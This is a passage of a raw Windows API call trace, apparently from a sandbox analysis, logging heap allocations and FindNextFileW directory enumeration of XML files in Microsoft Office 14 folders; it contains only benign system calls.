(HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca5e0 [0079.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabacb8 [0079.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc63d500, ftCreationTime.dwHighDateTime=0x1ca1b38, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc63d500, ftLastWriteTime.dwHighDateTime=0x1ca1b38, nFileSizeHigh=0x0, nFileSizeLow=0x2936, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN020.XML", cAlternateFileName="")) returned 1 [0079.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca600 [0079.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabad40 [0079.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.498] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17af0200, ftCreationTime.dwHighDateTime=0x1ca06ab, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17af0200, ftLastWriteTime.dwHighDateTime=0x1ca06ab, nFileSizeHigh=0x0, nFileSizeLow=0x167d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN022.XML", cAlternateFileName="")) returned 1 [0079.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca620 [0079.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabadc8 [0079.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.499] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x21be, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN026.XML", cAlternateFileName="")) returned 1 [0079.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca640 [0079.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabae50 [0079.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.499] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54389200, ftCreationTime.dwHighDateTime=0x1c9f606, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54389200, ftLastWriteTime.dwHighDateTime=0x1c9f606, nFileSizeHigh=0x0, nFileSizeLow=0x5e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN027.XML", cAlternateFileName="")) returned 1 [0079.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca660 [0079.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabaed8 [0079.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.500] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60487100, ftCreationTime.dwHighDateTime=0x1c9e332, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60487100, ftLastWriteTime.dwHighDateTime=0x1c9e332, nFileSizeHigh=0x0, nFileSizeLow=0x1412, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN044.XML", cAlternateFileName="")) returned 1 [0079.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca680 [0079.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4233cc00, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4233cc00, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x9c4ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN048.XML", cAlternateFileName="")) returned 1 [0079.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x662faf00, ftCreationTime.dwHighDateTime=0x1ca1b38, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x662faf00, ftLastWriteTime.dwHighDateTime=0x1ca1b38, nFileSizeHigh=0x0, nFileSizeLow=0x8250, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN054.XML", cAlternateFileName="")) returned 1 [0079.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x409da800, ftCreationTime.dwHighDateTime=0x1ca1b2e, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x409da800, ftLastWriteTime.dwHighDateTime=0x1ca1b2e, nFileSizeHigh=0x0, nFileSizeLow=0x8e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN058.XML", cAlternateFileName="")) returned 1 [0079.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c896a00, ftCreationTime.dwHighDateTime=0x1ca1b2e, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c896a00, ftLastWriteTime.dwHighDateTime=0x1ca1b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1326, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN065.XML", cAlternateFileName="")) returned 1 [0079.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7a49300, ftCreationTime.dwHighDateTime=0x1c6946d, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7a49300, ftLastWriteTime.dwHighDateTime=0x1c6946d, nFileSizeHigh=0x0, nFileSizeLow=0x9ff4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN075.XML", cAlternateFileName="")) returned 1 [0079.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6a4d100, ftCreationTime.dwHighDateTime=0x1ca0452, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6a4d100, ftLastWriteTime.dwHighDateTime=0x1ca0452, nFileSizeHigh=0x0, nFileSizeLow=0x101198, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN081.XML", cAlternateFileName="")) returned 1 [0079.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66024c00, ftCreationTime.dwHighDateTime=0x1ca0b56, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66024c00, ftLastWriteTime.dwHighDateTime=0x1ca0b56, nFileSizeHigh=0x0, nFileSizeLow=0x31a78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN082.XML", cAlternateFileName="")) returned 1 [0079.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2620df00, ftCreationTime.dwHighDateTime=0x1c6a62f, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2620df00, ftLastWriteTime.dwHighDateTime=0x1c6a62f, nFileSizeHigh=0x0, nFileSizeLow=0x2d34, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN086.XML", cAlternateFileName="")) returned 1 [0079.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe893cd00, ftCreationTime.dwHighDateTime=0x1ca0904, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe893cd00, ftLastWriteTime.dwHighDateTime=0x1ca0904, nFileSizeHigh=0x0, nFileSizeLow=0x11a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN089.XML", cAlternateFileName="")) returned 1 [0079.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fc44d00, ftCreationTime.dwHighDateTime=0x1c6b4fb, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fc44d00, ftLastWriteTime.dwHighDateTime=0x1c6b4fb, nFileSizeHigh=0x0, nFileSizeLow=0xa246, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN090.XML", cAlternateFileName="")) returned 1 [0079.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63d7f300, ftCreationTime.dwHighDateTime=0x1c67971, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63d7f300, ftLastWriteTime.dwHighDateTime=0x1c67971, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN092.XML", cAlternateFileName="")) returned 1 [0079.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5677c900, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5677c900, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x7aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN095.XML", cAlternateFileName="")) returned 1 [0079.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6daa00, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6daa00, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN096.XML", cAlternateFileName="")) returned 1 [0079.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf7ad200, ftCreationTime.dwHighDateTime=0x1ca1b37, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf7ad200, ftLastWriteTime.dwHighDateTime=0x1ca1b37, nFileSizeHigh=0x0, nFileSizeLow=0x11424, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN097.XML", cAlternateFileName="")) returned 1 [0079.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9d600, ftCreationTime.dwHighDateTime=0x1c6c5a1, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96f9d600, ftLastWriteTime.dwHighDateTime=0x1c6c5a1, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN102.XML", cAlternateFileName="")) returned 1 [0079.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55662300, ftCreationTime.dwHighDateTime=0x1ca0f14, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55662300, ftLastWriteTime.dwHighDateTime=0x1ca0f14, nFileSizeHigh=0x0, nFileSizeLow=0xde0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN103.XML", cAlternateFileName="")) returned 1 [0079.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ffeb200, ftCreationTime.dwHighDateTime=0x1c9fa22, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ffeb200, ftLastWriteTime.dwHighDateTime=0x1c9fa22, nFileSizeHigh=0x0, nFileSizeLow=0xff4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN105.XML", cAlternateFileName="")) returned 1 [0079.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b6fc00, ftCreationTime.dwHighDateTime=0x1c9fa26, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7b6fc00, ftLastWriteTime.dwHighDateTime=0x1c9fa26, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN107.XML", cAlternateFileName="")) returned 1 [0079.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e92800, ftCreationTime.dwHighDateTime=0x1c9f4a1, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82e92800, ftLastWriteTime.dwHighDateTime=0x1c9f4a1, nFileSizeHigh=0x0, nFileSizeLow=0x34d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN108.XML", cAlternateFileName="")) returned 1 [0079.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908ec600, ftCreationTime.dwHighDateTime=0x1ca14c1, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x908ec600, ftLastWriteTime.dwHighDateTime=0x1ca14c1, nFileSizeHigh=0x0, nFileSizeLow=0x1aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN109.XML", cAlternateFileName="")) returned 1 [0079.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf7900, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf7900, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0xcae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN110.XML", cAlternateFileName="")) returned 1 [0079.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6900a600, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6900a600, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0x45792, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN111.XML", cAlternateFileName="")) returned 1 [0079.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d3aa00, ftCreationTime.dwHighDateTime=0x1ca2c4b, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89d3aa00, ftLastWriteTime.dwHighDateTime=0x1ca2c4b, nFileSizeHigh=0x0, nFileSizeLow=0x878c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PG_INDEX.XML", cAlternateFileName="")) returned 1 [0079.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d3aa00, ftCreationTime.dwHighDateTime=0x1ca2c4b, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89d3aa00, ftLastWriteTime.dwHighDateTime=0x1ca2c4b, nFileSizeHigh=0x0, nFileSizeLow=0x878c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PG_INDEX.XML", cAlternateFileName="")) returned 0 [0079.503] GetLastError () returned 0x12 [0079.503] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0079.503] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.503] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.503] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180a100, ftCreationTime.dwHighDateTime=0x1ca10e6, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb180a100, ftLastWriteTime.dwHighDateTime=0x1ca10e6, nFileSizeHigh=0x0, nFileSizeLow=0xfb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL001.XML", cAlternateFileName="")) returned 1 [0079.503] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61d99800, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61d99800, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0x15b1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL002.XML", cAlternateFileName="")) returned 1 [0079.503] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7ce900, ftCreationTime.dwHighDateTime=0x1c9f4a3, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c7ce900, ftLastWriteTime.dwHighDateTime=0x1c9f4a3, nFileSizeHigh=0x0, nFileSizeLow=0x33a1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL010.XML", cAlternateFileName="")) returned 1 [0079.503] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x1390, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL011.XML", cAlternateFileName="")) returned 1 [0079.503] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dea2700, ftCreationTime.dwHighDateTime=0x1ca1b37, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9dea2700, ftLastWriteTime.dwHighDateTime=0x1ca1b37, nFileSizeHigh=0x0, nFileSizeLow=0xa5178, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL012.XML", cAlternateFileName="")) returned 1 [0079.503] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca994100, ftCreationTime.dwHighDateTime=0x1ca1b2d, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca994100, ftLastWriteTime.dwHighDateTime=0x1ca1b2d, nFileSizeHigh=0x0, nFileSizeLow=0x22cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL016.XML", cAlternateFileName="")) returned 1 [0079.503] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9ac00, ftCreationTime.dwHighDateTime=0x1c6c1cc, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69d9ac00, ftLastWriteTime.dwHighDateTime=0x1c6c1cc, nFileSizeHigh=0x0, nFileSizeLow=0x101bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL020.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93746100, ftCreationTime.dwHighDateTime=0x1ca1b28, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93746100, ftLastWriteTime.dwHighDateTime=0x1ca1b28, nFileSizeHigh=0x0, nFileSizeLow=0x24c9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL022.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x1f4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL026.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54389200, ftCreationTime.dwHighDateTime=0x1c9f606, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54389200, 